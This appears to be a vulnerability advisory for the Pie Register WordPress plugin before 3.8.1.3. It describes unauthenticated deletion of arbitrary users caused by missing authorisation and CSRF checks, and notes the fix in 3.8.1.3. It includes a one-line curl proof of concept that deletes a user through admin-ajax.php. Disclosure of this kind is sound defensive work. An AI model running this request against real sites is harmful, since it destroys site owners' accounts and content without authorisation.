WordPress Plugin Vulnerabilities

Pie Register < 3.8.1.3 - Unauthenticated Arbitrary User Deletion

Description

The plugin does not have authorisation and CSRF when deleting users via an init action handler, allowing unauthenticated attackers to delete arbitrary users (along with their posts)

Proof of Concept

Invoke the following curl command to delete the user (user id 2)

curl https://example.com/wp-admin/admin-ajax.php --data 'vdeleteit=1&vusers[]=2'

Affects Plugins

Fixed in 3.8.1.3

References

Classification

Type
NO AUTHORISATION
CWE
CVSS

Miscellaneous

Original Researcher
cydave
Submitter
cydave
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2022-11-28 (about 1 years ago)
Added
2022-11-28 (about 1 years ago)
Last Updated
2022-11-28 (about 1 years ago)

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